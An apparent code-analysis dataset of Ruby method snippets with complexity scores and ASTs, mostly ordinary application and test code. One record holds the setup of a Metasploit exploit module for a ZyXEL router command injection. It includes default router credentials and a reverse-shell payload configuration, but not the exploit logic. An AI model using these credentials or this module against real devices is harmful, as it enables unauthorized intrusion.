{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/docker_run/smocker.rb","start_line":72,"raw_source":"def register!\n          return if running?\n\n          command = %W[docker run -d --network #{network} --name #{name}]\n          # when host network is used, published ports are discarded and service in container runs as if on host\n          # make sure random open ports are fetched and configured for smocker server\n          command.push(\"-e\", \"SMOCKER_MOCK_SERVER_LISTEN_PORT=#{host_network? ? server_port : DEFAULT_SERVER_PORT}\")\n          command.push(\"-e\", \"SMOCKER_CONFIG_LISTEN_PORT=#{host_network? ? config_port : DEFAULT_CONFIG_PORT}\")\n          command.push(\"--publish-all\") unless host_network?\n          command.push(image)\n\n          shell command.join(\" \")\n        end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"register!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"running?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"docker\"]},{\"type\":\"str\",\"children\":[\"run\"]},{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"--network\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"network\"]}]}]},{\"type\":\"str\",\"children\":[\"--name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"push\",{\"type\":\"str\",\"children\":[\"-e\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SMOCKER_MOCK_SERVER_LISTEN_PORT=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_network?\"]},{\"type\":\"send\",\"children\":[null,\"server_port\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_SERVER_PORT\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"push\",{\"type\":\"str\",\"children\":[\"-e\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SMOCKER_CONFIG_LISTEN_PORT=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_network?\"]},{\"type\":\"send\",\"children\":[null,\"config_port\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_CONFIG_PORT\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_network?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"push\",{\"type\":\"str\",\"children\":[\"--publish-all\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"image\"]}]},{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}","id":"f63d5afb-6a82-4c32-8e2b-2bea3d5c02e9"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/ruby_project.rb","start_line":12,"raw_source":"def add_dir_to_load_path(dir)\n        $LOAD_PATH.unshift(dir) unless $LOAD_PATH.include?(dir)\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_dir_to_load_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$LOAD_PATH\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$LOAD_PATH\"]},\"unshift\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]}]}","id":"265f58a9-97b1-4df8-b91b-7b213b42ad10"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection',\n        'Description' => %q{\n          TrueOnline is a major ISP in Thailand, and it distributes a customized version of\n          the ZyXEL P660HN-T v2 router. This customized version has an authenticated command injection\n          vulnerability in the remote log forwarding page. This can be exploited using the \"supervisor\"\n          account that comes with a default password on the device.\n          This module was tested in an emulated environment, as the author doesn't have access to the\n          Thai router any more. Any feedback should be sent directly to the module's author, as well as\n          to the Metasploit project. Note that the inline payloads work best.\n          There are Turkish and other language strings in the firmware, so it is likely that this\n          firmware is not only distributed in Thailand. Other P660HN-T v2 in other countries might be\n          vulnerable too.\n        },\n        'Author' => [\n          'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'linux',\n        'References' => [\n          ['CVE', '2017-18370'],\n          ['CVE', '2017-18371'],\n          ['URL', 'https://seclists.org/fulldisclosure/2017/Jan/40'],\n          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'],\n          ['URL', 'https://blogs.securiteam.com/index.php/archives/2910']\n        ],\n        'Targets' => [\n          [ 'P660HN-T v2', {}],\n        ],\n        'Privileged' => true,\n        'Arch' => ARCH_MIPSBE,\n        'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp' },\n        'DisclosureDate' => '2016-12-26',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(80),\n        OptString.new('USERNAME', [true, 'Username for the web interface (using default credentials)', 'supervisor']),\n        OptString.new('PASSWORD', [true, 'Password for the web interface (using default credentials)', 'zyad1234']),\n        OptAddressLocal.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]),\n        OptInt.new('DELAY', [true, \"How long to wait for the device to download the payload\", 30]),\n      ]\n    )\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          TrueOnline is a major ISP in Thailand, and it distributes a customized version of\\n\"]},{\"type\":\"str\",\"children\":[\"          the ZyXEL P660HN-T v2 router. This customized version has an authenticated command injection\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability in the remote log forwarding page. This can be exploited using the \\\"supervisor\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          account that comes with a default password on the device.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module was tested in an emulated environment, as the author doesn't have access to the\\n\"]},{\"type\":\"str\",\"children\":[\"          Thai router any more. Any feedback should be sent directly to the module's author, as well as\\n\"]},{\"type\":\"str\",\"children\":[\"          to the Metasploit project. Note that the inline payloads work best.\\n\"]},{\"type\":\"str\",\"children\":[\"          There are Turkish and other language strings in the firmware, so it is likely that this\\n\"]},{\"type\":\"str\",\"children\":[\"          firmware is not only distributed in Thailand. Other P660HN-T v2 in other countries might be\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerable too.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Pedro Ribeiro <pedrib@gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-18370\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-18371\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/fulldisclosure/2017/Jan/40\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blogs.securiteam.com/index.php/archives/2910\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"P660HN-T v2\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPSBE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/mipsbe/shell_reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-12-26\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username for the web interface (using default credentials)\"]},{\"type\":\"str\",\"children\":[\"supervisor\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password for the web interface (using default credentials)\"]},{\"type\":\"str\",\"children\":[\"zyad1234\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddressLocal\"]},\"new\",{\"type\":\"str\",\"children\":[\"LHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The listen IP address from where the victim downloads the MIPS payload\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"How long to wait for the device to download the payload\"]},{\"type\":\"int\",\"children\":[30]}]}]}]}]}]}]}","id":"daa22b37-05b5-42f4-b97f-f6a94f4bd074"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/project_queries/scopes/allowed_to.rb","start_line":69,"raw_source":"def ctes_for_view_permission(user)\n        public_queries = where(public: true).select(:id).arel\n        user_owned_queries = where(user_id: user.id).select(:id).arel\n        allowed_via_membership = allowed_to_member_relation(user, :view_project_query).select(arel_table[:id]).arel\n\n        { public_queries:, user_owned_queries:, allowed_via_membership: }\n      end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ctes_for_view_permission\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"public_queries\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_owned_queries\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]}]},{\"type\":\"lvasgn\",\"children\":[\"allowed_via_membership\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_to_member_relation\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"view_project_query\"]}]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"arel\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public_queries\"]},{\"type\":\"lvar\",\"children\":[\"public_queries\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_owned_queries\"]},{\"type\":\"lvar\",\"children\":[\"user_owned_queries\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowed_via_membership\"]},{\"type\":\"lvar\",\"children\":[\"allowed_via_membership\"]}]}]}]}]}","id":"9965d91d-0811-484b-b223-3948e4175788"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/manageiq/session/mem_cache_store_adapter.rb","start_line":20,"raw_source":"def enable_rack_session_debug_logger\n        return if Rails.env.production?\n\n        puts \"** Enabling rack session debug logger\"\n        rack_session_class_to_prepend.prepend(ManageIQ::Session::RackSessionDalliLogger)\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_rack_session_debug_logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"production?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"** Enabling rack session debug logger\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rack_session_class_to_prepend\"]},\"prepend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Session\"]},\"RackSessionDalliLogger\"]}]}]}]}","id":"f1752aa2-af5a-4405-870d-5ef0e518d997"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/invite_policy.rb","start_line":12,"raw_source":"def deactivate_all?\n    role.can?(:manage_invites)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deactivate_all?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_invites\"]}]}]}","id":"326d7200-4189-4643-975d-104152dbe012"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/setting.rb","start_line":268,"raw_source":"def self.clear_cache(key = cache_key)\n    Rails.cache.delete(key)\n    RequestStore.delete :cached_settings\n    RequestStore.delete :settings_updated_at\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_cache\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"cached_settings\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"settings_updated_at\"]}]}]}]}","id":"d91949f3-2659-43ad-8cf6-0c9ff41f017e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/client_request.rb","start_line":410,"raw_source":"def set_formatted_header(var, val)\n    if (self.opts['header_folding'])\n      \"#{var}:\\r\\n\\t#{val}\\r\\n\"\n    else\n      \"#{var}: #{val}\\r\\n\"\n    end\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_formatted_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"var\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"header_folding\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]}]},{\"type\":\"str\",\"children\":[\":\\r\\n\\t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]}]}","id":"bdd9c25e-3552-4c5e-aeb6-3e51665b9547"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/stub_object_storage.rb","start_line":109,"raw_source":"def stub_nuget_symbol_object_storage(**params)\n    stub_object_storage_uploader(\n      config: Gitlab.config.packages.object_store,\n      uploader: ::Packages::Nuget::SymbolUploader,\n      **params\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_nuget_symbol_object_storage\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"stub_object_storage_uploader\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"packages\"]},\"object_store\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uploader\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Nuget\"]},\"SymbolUploader\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}","id":"7e446d06-148b-4b3d-8830-8574f27d0aed"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/products_helper.rb","start_line":177,"raw_source":"def product_json_ld_breadcrumbs(product)\n      json_ld = {\n        '@context' => 'https://schema.org',\n        '@type' => 'BreadcrumbList',\n        'itemListElement' => [\n          {\n            '@type': 'ListItem',\n            'position' => 1,\n            'name' => 'Homepage',\n            'item' => spree.root_url(host: current_store.url_or_custom_domain)\n          }\n        ]\n      }\n\n      if product.main_taxon.present?\n        product.main_taxon.self_and_ancestors.each_with_index do |taxon, index|\n          json_ld['itemListElement'] << {\n            '@type' => 'ListItem',\n            'position' => index + 2,\n            'name' => taxon.name,\n            'item' => spree.nested_taxons_url(taxon, host: current_store.url_or_custom_domain)\n          }\n        end\n      end\n\n      json_ld['itemListElement'] << {\n        '@type' => 'ListItem',\n        'position' => json_ld['itemListElement'].length + 1,\n        'name' => product.name\n      }\n\n      json_ld\n    end","complexity_score":34.4,"ast_json":"{\"type\":\"def\",\"children\":[\"product_json_ld_breadcrumbs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"product\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_ld\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@context\"]},{\"type\":\"str\",\"children\":[\"https://schema.org\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@type\"]},{\"type\":\"str\",\"children\":[\"BreadcrumbList\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"itemListElement\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"@type\"]},{\"type\":\"str\",\"children\":[\"ListItem\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"position\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Homepage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"root_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"url_or_custom_domain\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"main_taxon\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"main_taxon\"]},\"self_and_ancestors\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"taxon\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_ld\"]},\"[]\",{\"type\":\"str\",\"children\":[\"itemListElement\"]}]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@type\"]},{\"type\":\"str\",\"children\":[\"ListItem\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"position\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxon\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"nested_taxons_url\",{\"type\":\"lvar\",\"children\":[\"taxon\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"url_or_custom_domain\"]}]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_ld\"]},\"[]\",{\"type\":\"str\",\"children\":[\"itemListElement\"]}]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@type\"]},{\"type\":\"str\",\"children\":[\"ListItem\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"position\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_ld\"]},\"[]\",{\"type\":\"str\",\"children\":[\"itemListElement\"]}]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"name\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"json_ld\"]}]}]}","id":"951dc45b-e12b-4c75-8311-7092816ec713"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt.rb","start_line":129,"raw_source":"def width = right - left","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"width\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"right\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"left\"]}]}]}","id":"9cd872b2-7f5b-4263-8d3a-59d99c52edd5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/ingress.rb","start_line":41,"raw_source":"def annotations\n        metadata.fetch('annotations', {})\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"annotations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"annotations\"]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"725ce3ef-3df1-44f8-9839-63fa89597444"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_time_formatter.rb","start_line":119,"raw_source":"def test_specific_utc_nHH\n      assert_equal(\"20140926 1100-1300\", format(@fmt, false, \"-13\"))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_specific_utc_nHH\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"20140926 1100-1300\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"ivar\",\"children\":[\"@fmt\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"-13\"]}]}]}]}","id":"039487cb-3953-42b4-8d10-171dbdf2e6fd"}
